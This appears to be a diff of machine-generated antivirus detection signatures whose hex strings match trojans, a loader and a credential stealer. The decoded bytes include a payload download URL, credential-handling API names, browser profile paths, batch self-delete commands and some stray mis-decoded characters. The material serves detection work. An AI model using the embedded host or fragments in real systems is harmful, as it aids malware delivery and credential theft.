"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -217151,22 +231387,41 @@ rule _InfrastructureShared_18034{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_2d_3 & 1)*2305+(#a_19_4 & 1)*1) >=5 } -rule _InfrastructureShared_18035{ +rule _InfrastructureShared_19197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " strings : $a_46_0 = {59 32 56 3a 42 4b 41 2f 41 50 54 5f 4d 41 4c 5f 42 4b 41 5f 47 6f 6c 64 65 6e 53 70 79 5f 41 75 67 32 30 5f 31 00 01 00 5c 01 c7 85 10 ff ff ff 00 00 00 00 c7 85 14 ff ff ff 0f 00 00 00 c6 85 00 ff ff ff 00 c7 85 28 ff ff ff 00 } //16675 - $a_ff_2 = {00 00 00 c6 85 18 ff ff ff 00 c7 85 40 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 0f 00 00 00 c6 85 30 ff ff ff 00 c6 45 fc 14 80 bd 04 fe ff ff 00 01 00 17 01 52 79 65 6f 6c 20 48 54 54 50 20 43 6c 69 65 6e 74 20 43 6c 61 73 73 01 00 2b 01 2d 2d 2d 2d 52 59 45 4f 4c 2d 46 42 33 42 34 30 35 42 37 45 41 45 34 39 35 61 42 30 43 30 32 39 35 43 35 34 44 34 45 30 39 36 2d 01 00 3c 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 41 70 70 20 50 61 74 68 73 5c 66 77 6b 70 2e 65 78 65 01 00 04 01 73 76 6d 6d 01 00 09 01 50 52 4f 54 4f 43 4f 4c 5f 01 00 08 01 73 6f 66 74 4c 69 73 74 01 00 09 01 65 78 63 75 74 65 45 78 65 00 00 78 4c 01 00 06 00 06 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a } //-212 - $a_57_3 = {6e 33 32 2f 46 75 6e 6b 4d 61 73 74 65 72 21 64 68 61 00 01 00 22 00 69 66 20 65 78 69 73 74 20 25 25 31 20 64 65 6c 20 25 25 31 20 65 6c 73 65 20 67 6f 74 6f 20 42 79 65 01 } //28257 - $a_31_5 = {37 2e 31 20 3e 20 6e 75 6c 01 00 4e 00 73 6f 66 74 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c } //26478 ⸷‱‾畮Ŭ一猀景坴剁居楍牣獯景屴 - $a_64_6 = {77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 5c 5a 6f 6e 65 4d 61 70 5c 44 6f 6d 61 69 6e 73 5c 25 73 01 00 25 00 46 46 33 31 33 30 43 44 42 2d 41 41 35 32 2d 34 43 33 41 2d 41 42 33 32 2d 38 35 46 46 43 32 33 41 46 39 43 31 01 00 11 00 25 73 79 73 74 65 6d 72 6f 6f 74 } //26967 - $a_65_7 = {5c 01 00 19 00 43 4c 53 49 44 5c 7b 25 73 7d 5c 49 6e 70 72 6f 63 53 65 72 76 65 72 33 32 01 00 18 00 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 01 00 1a 02 69 c0 fd 43 03 00 05 c3 9e 26 00 a3 90 02 04 c1 e8 10 25 ff 7f 00 00 c3 90 } //23589 + $a_ff_2 = {00 00 00 c6 85 18 ff ff ff 00 c7 85 40 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 0f 00 00 00 c6 85 30 ff ff ff 00 c6 45 fc 14 80 bd 04 fe ff ff 00 01 00 17 01 52 79 65 6f 6c 20 48 54 54 50 20 43 6c 69 65 6e 74 20 43 6c 61 73 73 01 00 2b 01 2d 2d 2d 2d 52 59 45 4f 4c 2d 46 42 33 42 34 30 35 42 37 45 41 45 34 39 35 61 42 30 43 30 32 39 35 43 35 34 44 34 45 30 39 36 2d 01 00 3c 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 41 70 70 20 50 61 74 68 73 5c 66 77 6b 70 2e 65 78 65 01 00 04 01 73 76 6d 6d 01 00 09 01 50 52 4f 54 4f 43 4f 4c 5f 01 00 08 01 73 6f 66 74 4c 69 73 74 01 00 09 01 65 78 63 75 74 65 45 78 65 00 00 78 4c 01 00 05 00 05 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a } //-212 + $a_57_3 = {6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 4e 21 4d 54 42 00 01 00 16 01 6d 69 73 66 6f 73 74 65 72 5c 75 6e 64 65 6e 64 65 73 2e 64 6c 6c 01 00 0d 01 41 6c 70 68 6f 6c 31 32 } //28257 + $a_78_4 = {01 00 1c 01 4d 79 72 74 69 66 6f 72 6d 5c 62 79 67 6e 69 6e 67 73 6b 75 6e 73 74 73 2e 69 6e 69 01 00 23 01 62 65 6e 7a 69 6e 72 61 62 61 74 5c 55 6e 69 6e 73 74 61 6c 6c 5c 66 65 6c 6c 6d 6f 6e 67 65 72 69 6e 67 01 00 13 01 77 68 69 73 6b 79 73 6a 75 73 73 65 72 6e 65 2e 69 6e 69 01 00 24 81 01 53 6e 69 70 69 6e 67 38 31 5c 55 64 66 72 73 65 6c } //11830 + $a_6c_5 = {61 64 65 6c 73 65 72 6e 65 73 2e 69 6e 69 01 00 16 81 01 63 6f 62 72 65 61 74 68 65 5c 41 6e 6e 65 6c 69 65 73 2e 74 78 74 01 00 14 81 01 61 67 67 72 65 73 73 69 76 65 6e 65 73 73 65 73 2e 74 78 74 01 00 1c 81 01 41 73 70 68 79 63 74 69 63 5c 55 6e 69 6e 73 74 61 6c 6c 5c 67 72 75 6e 64 74 72 6b 01 00 14 81 01 72 } //29811 + $a_72_6 = {65 72 69 6e 67 65 72 6e 65 73 2e 74 78 74 00 00 78 4c 01 00 06 00 06 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 75 6e 6b 4d 61 73 74 65 72 21 64 68 61 00 01 00 22 00 69 66 20 65 78 69 73 74 20 25 25 31 20 64 65 6c 20 25 25 31 20 65 6c 73 65 20 67 6f 74 6f 20 42 79 65 01 00 10 00 70 69 6e 67 20 31 32 37 2e 31 20 3e 20 6e } //29797 + $a_00_7 = {4e } //27765 N condition: - ((#a_46_0 & 1)*16675+(#a_ff_2 & 1)*-212+(#a_57_3 & 1)*28257+(#a_31_5 & 1)*26478+(#a_64_6 & 1)*26967+(#a_65_7 & 1)*23589) >=5 + ((#a_46_0 & 1)*16675+(#a_ff_2 & 1)*-212+(#a_57_3 & 1)*28257+(#a_78_4 & 1)*11830+(#a_6c_5 & 1)*29811+(#a_72_6 & 1)*29797+(#a_00_7 & 1)*27765) >=5 } -rule _InfrastructureShared_18036{ +rule _InfrastructureShared_19198{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 4e 21 4d 54 42 00 01 00 16 01 6d 69 73 66 6f 73 74 65 72 5c 75 6e 64 65 6e 64 65 73 2e 64 6c 6c 01 00 0d 01 41 6c 70 68 6f 6c 31 32 36 2e 74 78 74 01 00 1c 01 4d 79 72 74 69 66 } //18467 + $a_5c_1 = {79 67 6e 69 6e 67 73 6b 75 6e 73 74 73 2e 69 6e 69 01 00 23 01 62 65 6e 7a 69 6e 72 61 62 61 74 5c 55 6e 69 6e 73 74 61 6c 6c 5c 66 65 6c 6c 6d 6f 6e 67 65 72 69 6e 67 01 00 13 01 77 68 69 73 6b 79 73 6a 75 73 73 65 72 6e 65 2e 69 6e 69 01 00 24 81 01 53 6e 69 70 69 6e 67 38 31 5c 55 64 66 72 73 65 6c 73 74 69 6c 6c 61 64 65 } //29295 + $a_72_2 = {65 73 2e 69 6e 69 01 00 16 81 01 63 6f 62 72 65 61 74 68 65 5c 41 6e 6e 65 6c 69 65 73 2e 74 78 74 01 00 14 81 01 61 67 67 72 65 73 73 69 76 65 6e 65 73 73 65 73 2e 74 78 74 01 00 1c 81 01 41 73 70 68 79 63 74 69 63 5c 55 6e 69 6e 73 74 61 6c 6c 5c 67 72 75 6e 64 74 72 6b 01 00 14 81 01 72 65 74 75 72 } //29548 + $a_69_3 = {67 65 72 6e 65 73 2e 74 78 74 00 00 78 4c 01 00 06 00 06 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 75 6e 6b 4d 61 73 74 65 72 21 64 68 61 00 01 00 22 00 69 66 20 65 78 69 73 74 20 25 25 31 20 64 65 6c 20 25 25 31 20 65 6c 73 65 20 67 6f 74 6f 20 42 79 65 01 00 10 00 70 69 6e 67 20 31 32 37 2e 31 20 3e 20 6e 75 } //25966 + $a_74_5 = {41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 5c 5a 6f 6e 65 4d 61 70 5c 44 6f 6d 61 69 6e 73 5c 25 73 01 00 25 00 46 46 33 31 33 30 43 44 42 2d 41 41 35 32 2d 34 43 33 41 2d 41 42 33 32 2d } //28531 剁居楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯䥜瑮牥敮⁴敓瑴湩獧婜湯䵥灡䑜浯楡獮╜ų─䘀㍆㌱䌰䉄䄭㕁ⴲ䌴䄳䄭㍂ⴲ + $a_46_6 = {32 33 41 46 39 43 31 01 00 11 00 25 73 79 73 74 65 6d 72 6f 6f 74 25 5c 57 65 62 5c 01 00 19 00 43 4c 53 49 44 5c 7b 25 73 7d 5c 49 6e 70 72 6f 63 53 65 72 76 65 72 33 32 01 00 18 00 25 63 25 63 25 63 25 63 25 } //13624 + $a_25_7 = {25 63 25 63 25 63 25 63 25 63 01 00 1a 02 69 c0 fd 43 03 00 05 c3 9e 26 00 a3 90 02 04 c1 e8 10 25 ff 7f 00 00 c3 90 00 00 00 78 4c 01 00 08 00 08 00 08 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 65 72 69 6d 61 72 74 2e 41 21 64 68 61 00 01 00 32 01 63 00 68 00 } //9571 + $a_00_8 = {73 00 65 00 74 00 3d 00 7b 00 5b 00 41 00 2d 00 5a 00 61 00 2d 00 7a 00 30 00 2d 00 39 00 5c 00 2d 00 5f 00 5d 00 2b 00 7d 00 01 00 30 01 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 4c 00 65 00 6e 00 67 00 74 00 68 00 3a 00 20 00 7b 00 5b 00 30 00 2d 00 39 00 5d 00 2b 00 7d 00 01 00 24 01 4c 00 6f 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //97 + $a_00_9 = {7b 00 5b 00 30 00 2d 00 39 00 5d 00 2b 00 7d 00 01 00 22 01 53 00 65 00 74 00 2d 00 43 00 6f 00 } //58 + condition: + ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29295+(#a_72_2 & 1)*29548+(#a_69_3 & 1)*25966+(#a_74_5 & 1)*28531+(#a_46_6 & 1)*13624+(#a_25_7 & 1)*9571+(#a_00_8 & 1)*97+(#a_00_9 & 1)*58) >=5 + +} +rule _InfrastructureShared_19199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -217181,7 +231436,7 @@ rule _InfrastructureShared_18036{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28192+(#a_43_2 & 1)*17985+(#a_25_3 & 1)*9571+(#a_00_4 & 1)*306+(#a_00_6 & 1)*76) >=6 } -rule _InfrastructureShared_18037{ +rule _InfrastructureShared_19200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -217195,7 +231450,7 @@ rule _InfrastructureShared_18037{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*93+(#a_00_4 & 1)*93+(#a_53_5 & 1)*8704+(#a_00_7 & 1)*67) >=8 } -rule _InfrastructureShared_18038{ +rule _InfrastructureShared_19201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -217213,7 +231468,7 @@ rule _InfrastructureShared_18038{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25927+(#a_23_2 & 1)*8995+(#a_23_3 & 1)*8995+(#a_23_4 & 1)*8995+(#a_4c_5 & 1)*0+(#a_45_6 & 1)*13141+(#a_ff_7 & 1)*-18904+(#a_31_8 & 1)*24889) >=9 } -rule _InfrastructureShared_18039{ +rule _InfrastructureShared_19202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -217225,7 +231480,7 @@ rule _InfrastructureShared_18039{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29295+(#a_f4_2 & 1)*-29697) >=11 } -rule _InfrastructureShared_18040{ +rule _InfrastructureShared_19203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -217245,7 +231500,7 @@ rule _InfrastructureShared_18040{ ((#a_46_0 & 1)*16675+(#a_71_1 & 1)*-32468+(#a_76_2 & 1)*19781+(#a_7d_3 & 1)*31535+(#a_62_4 & 1)*24436+(#a_00_5 & 1)*28265+(#a_49_6 & 1)*18761+(#a_74_7 & 1)*26966+(#a_53_8 & 1)*21505+(#a_79_9 & 1)*29797+(#a_72_10 & 1)*30324) >=11 } -rule _InfrastructureShared_18041{ +rule _InfrastructureShared_19204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -217262,12 +231517,12 @@ rule _InfrastructureShared_18041{ $a_73_9 = {00 0b 81 01 50 72 65 70 61 72 65 53 74 75 62 01 00 0e 81 01 49 6e 63 6c 75 64 65 57 72 61 70 70 65 72 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 81 01 52 65 61 64 53 74 75 62 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 07 81 01 54 6f 41 72 72 } //28793 $a_00_10 = {08 } //31073 $a_65_11 = {42 79 74 65 73 01 00 25 81 01 24 31 64 30 65 38 36 38 64 2d 32 30 63 62 2d 34 33 61 62 2d 61 61 66 35 2d 65 62 65 66 65 31 31 36 30 32 31 33 01 00 1f 81 01 2f 2f 38 32 2e 31 31 38 2e 32 31 2e 36 39 2f 79 69 79 2f } //385 - $a_79_12 = {79 72 63 2e 6d 70 33 00 00 78 4d 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 52 61 6e 67 65 53 63 61 6e 00 01 00 3a 03 52 00 61 00 6e 00 67 00 65 00 53 00 63 00 61 00 6e 00 2e 00 45 00 58 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 } //27458 + $a_79_12 = {79 72 63 2e 6d 70 33 00 00 78 4c 01 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 61 6e 63 65 6c 01 00 0c 81 01 56 61 72 69 61 6e 74 43 6c 65 61 72 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 } //27458 condition: ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*18761+(#a_56_2 & 1)*-32498+(#a_6c_3 & 1)*30068+(#a_6f_4 & 1)*16897+(#a_69_5 & 1)*384+(#a_63_6 & 1)*27996+(#a_6c_7 & 1)*16748+(#a_6e_8 & 1)*26433+(#a_73_9 & 1)*28793+(#a_00_10 & 1)*31073+(#a_65_11 & 1)*385+(#a_79_12 & 1)*27458) >=13 } -rule _InfrastructureShared_18042{ +rule _InfrastructureShared_19205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -217278,19 +231533,19 @@ rule _InfrastructureShared_18042{ $a_65_3 = {6c 61 2e 50 52 45 4a 32 39 35 21 4d 54 42 00 01 00 11 81 01 52 65 63 6f 72 64 4c 69 73 74 53 65 72 76 69 63 65 01 00 07 81 01 4e 65 77 53 74 75 62 01 00 08 81 01 53 6f 72 74 53 74 75 62 01 00 0e 81 01 49 6e 73 65 72 74 4d 65 72 63 68 61 6e 74 01 00 10 } //29806 $a_65_4 = {45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0b 81 01 50 72 65 70 61 72 65 53 74 75 62 01 00 0e 81 01 49 6e 63 6c 75 64 65 57 72 61 70 70 65 72 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 81 01 52 } //385 $a_53_5 = {75 62 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 53 75 62 73 74 72 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 08 81 01 47 65 74 42 79 74 65 73 01 00 25 81 01 24 31 64 30 65 38 36 38 64 2d 32 30 63 62 2d 34 33 61 62 2d 61 61 66 35 2d 65 62 65 66 65 31 31 36 30 32 31 33 01 00 1f 81 } //24933 - $a_38_6 = {2e 31 31 38 2e 32 31 2e 36 39 2f 79 69 79 2f 42 6b 74 79 6e 79 72 63 2e 6d 70 33 00 00 78 4d 01 00 03 00 03 00 05 00 21 23 41 4c 46 3a 59 32 } //12033 - $a_6c_7 = {72 69 61 6e 5f 52 6f 74 68 2f 52 61 6e 67 65 53 63 61 6e 00 01 00 3a 03 52 00 61 00 6e 00 67 00 65 00 53 00 63 00 61 00 6e 00 2e 00 45 00 58 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 } //14934 - $a_39_8 = {2d 5a 61 2d 7a 90 00 01 00 43 03 3c 62 72 3e 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 52 61 6e 67 65 53 63 61 6e } //12297 - $a_01_9 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 } //-28640 - $a_00_10 = {01 00 30 03 50 72 6f 64 75 63 65 64 20 62 79 20 69 73 6e 30 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 32 03 52 00 61 00 6e 00 67 00 65 00 53 00 63 00 61 00 6e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 31 03 25 64 2d 25 64 2d 25 64 20 25 64 3a 25 64 3a 25 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 } //14637 - $a_09_11 = {61 } //6544 a - $a_2d_12 = {30 2d 39 90 00 00 00 78 4d 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 44 4b 5f 42 72 75 74 65 00 01 00 36 03 67 65 74 5f 43 72 61 63 6b 65 64 43 } //31277 - $a_65_13 = {74 69 61 6c 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 76 03 53 00 61 00 6d 00 65 00 20 00 70 00 6f 00 72 00 74 00 20 00 75 00 73 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 74 00 77 00 6f 00 20 00 64 00 69 00 66 00 66 00 65 00 72 00 65 } //25970 + $a_38_6 = {2e 31 31 38 2e 32 31 2e 36 39 2f 79 69 79 2f 42 6b 74 79 6e 79 72 63 2e 6d 70 33 00 00 78 4c 01 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 57 } //12033 + $a_32_7 = {4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 61 6e 63 65 6c 01 00 0c 81 01 56 61 72 69 61 6e 74 43 6c 65 } //28265 + $a_00_8 = {09 } //29281 + $a_72_9 = {74 65 46 69 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0a 81 01 72 75 73 74 5f 70 61 6e 69 63 01 00 0d 81 01 64 69 72 65 63 74 69 6e 73 74 61 6c 6c 01 00 10 81 01 4e 65 74 41 70 69 42 75 66 66 65 72 46 72 65 65 01 00 0e 81 01 } //385 + $a_55_10 = {65 72 47 65 74 49 6e 66 6f 01 00 18 81 01 41 63 71 75 69 72 65 43 72 65 64 65 6e 74 69 61 6c 73 48 61 6e 64 6c 65 01 00 0e 81 01 44 65 63 72 79 70 74 4d 65 73 73 61 67 65 01 00 15 81 01 44 65 6c 65 74 65 53 65 63 75 72 69 74 79 43 6f 6e 74 65 78 74 01 00 0e 81 01 45 6e 63 72 79 70 74 4d 65 73 73 61 67 65 01 00 15 81 01 46 72 65 65 43 72 65 64 65 } //25934 + $a_61_11 = {73 48 61 6e 64 6c 65 01 00 19 81 01 4c 73 61 45 6e 75 6d 65 72 61 74 65 4c 6f 67 6f 6e 53 65 73 73 69 6f 6e 73 00 00 78 4c 01 00 1f 00 1f 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4c 4d 21 4d 54 42 00 14 00 83 03 48 33 c5 48 89 85 f8 07 00 00 48 8d 0d 90 01 0a 48 89 } //29806 + $a_33_12 = {48 8d 15 90 01 04 48 8d 8d d8 03 00 00 e8 90 01 04 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 18 04 00 00 e8 90 01 02 fd ff 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d 58 04 00 00 e8 90 01 02 fd ff 90 90 45 33 } //2117 + $a_15_13 = {01 04 48 8d 8d 98 04 00 00 e8 90 01 04 90 90 45 33 c0 48 8d 15 90 01 04 48 8d 8d d8 04 00 00 e8 90 00 0a 00 38 01 50 72 6f 66 69 6c 65 73 00 00 00 00 00 00 00 00 46 69 72 65 66 6f 78 00 00 00 00 00 00 00 00 00 4d 6f 7a 69 6c 6c 61 00 00 00 00 00 00 00 00 00 52 6f 61 6d 69 6e 67 00 01 00 5b 01 b8 01 00 00 00 48 6b c0 00 0f b6 84 05 84 00 00 00 b9 01 00 00 00 48 6b c9 01 0f b6 8c 0d 84 00 00 00 83 e1 30 c1 f9 04 8d 04 81 } //18624 condition: - ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*11520+(#a_74_2 & 1)*26369+(#a_65_3 & 1)*29806+(#a_65_4 & 1)*385+(#a_53_5 & 1)*24933+(#a_38_6 & 1)*12033+(#a_6c_7 & 1)*14934+(#a_39_8 & 1)*12297+(#a_01_9 & 1)*-28640+(#a_00_10 & 1)*14637+(#a_09_11 & 1)*6544+(#a_2d_12 & 1)*31277+(#a_65_13 & 1)*25970) >=14 + ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*11520+(#a_74_2 & 1)*26369+(#a_65_3 & 1)*29806+(#a_65_4 & 1)*385+(#a_53_5 & 1)*24933+(#a_38_6 & 1)*12033+(#a_32_7 & 1)*28265+(#a_00_8 & 1)*29281+(#a_72_9 & 1)*385+(#a_55_10 & 1)*25934+(#a_61_11 & 1)*29806+(#a_33_12 & 1)*2117+(#a_15_13 & 1)*18624) >=14 } -rule _InfrastructureShared_18043{ +rule _InfrastructureShared_19206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -217308,13 +231563,47 @@ rule _InfrastructureShared_18043{ $a_81_10 = {47 65 74 42 79 74 65 73 } //1 GetBytes $a_81_11 = {24 31 64 30 65 38 36 38 64 2d 32 30 63 62 2d 34 33 61 62 2d 61 61 66 35 2d 65 62 65 66 65 31 31 36 30 32 31 33 } //1 $1d0e868d-20cb-43ab-aaf5-ebefe1160213 $a_81_12 = {2f 2f 38 32 2e 31 31 38 2e 32 31 2e 36 39 2f 79 69 79 2f 42 6b 74 79 6e 79 72 63 2e 6d 70 33 } //1 //82.118.21.69/yiy/Bktynyrc.mp3 - $a_4d_13 = {00 03 00 03 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 52 61 6e 67 65 53 63 61 6e 00 01 00 3a 03 52 00 61 00 6e 00 67 00 65 00 53 00 63 00 61 00 6e 00 2e 00 45 00 58 00 45 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 43 03 3c 62 72 3e 3c 70 20 61 6c 69 67 6e 3d 22 } //0 - $a_74_14 = {72 22 3e 3c 62 3e 52 61 6e 67 65 53 63 61 6e 20 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 50 72 6f 64 75 63 65 64 20 62 79 20 69 73 6e 30 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 32 03 52 00 61 00 6e 00 } //25955 + $a_4c_13 = {00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 61 6e 63 65 6c 01 00 0c 81 01 56 61 72 69 61 6e 74 43 6c 65 61 72 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0a 81 01 72 75 73 74 5f 70 } //0 + $a_63_14 = {00 0d 81 01 64 69 72 65 63 74 69 6e 73 74 61 6c 6c 01 00 10 81 01 4e 65 74 41 70 69 42 75 66 66 65 72 46 72 65 65 01 00 0e 81 01 4e 65 74 55 73 65 72 47 65 74 49 6e 66 6f 01 00 18 81 01 41 63 71 75 69 72 65 43 72 65 64 65 6e 74 69 61 6c 73 48 61 6e 64 6c 65 01 00 0e 81 01 44 65 63 72 79 70 74 4d 65 73 73 61 67 65 } //28257 condition: - ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_4d_13 & 1)*0+(#a_74_14 & 1)*25955) >=15 + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_4c_13 & 1)*0+(#a_63_14 & 1)*28257) >=15 } -rule _InfrastructureShared_18044{ +rule _InfrastructureShared_19207{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 05 81 01 53 6c 65 65 70 01 00 06 81 01 43 61 6e 63 65 6c 01 00 0c 81 01 56 61 72 69 61 6e 74 43 6c 65 61 72 01 00 09 81 01 57 72 69 74 65 46 69 6c 65 01 00 11 81 01 49 73 44 65 } //18467 + $a_67_1 = {72 50 72 65 73 65 6e 74 01 00 0a 81 01 72 75 73 74 5f 70 61 6e 69 63 01 00 0d 81 01 64 69 72 65 63 74 69 6e 73 74 61 6c 6c 01 00 10 81 01 4e 65 74 41 70 69 42 75 66 66 65 72 46 72 65 65 01 00 0e 81 01 4e 65 74 55 73 65 72 47 65 74 49 6e 66 6f 01 00 18 81 01 41 63 71 75 69 72 65 43 72 65 64 65 6e 74 69 61 6c } //30050 + $a_6e_2 = {6c 65 01 00 0e 81 01 44 65 63 72 79 70 74 4d 65 73 73 61 67 65 01 00 15 81 01 44 65 6c 65 74 65 53 65 63 75 72 69 74 79 43 6f 6e 74 65 78 74 01 00 0e 81 01 45 6e 63 72 79 70 74 4d 65 73 73 61 67 65 01 00 15 81 01 46 72 65 65 43 72 65 64 65 6e 74 69 61 6c 73 48 61 6e 64 6c 65 01 00 19 81 01 } //18547 + $a_45_3 = {75 6d 65 72 61 74 65 4c 6f 67 6f 6e 53 65 73 73 69 6f 6e 73 00 00 78 4c 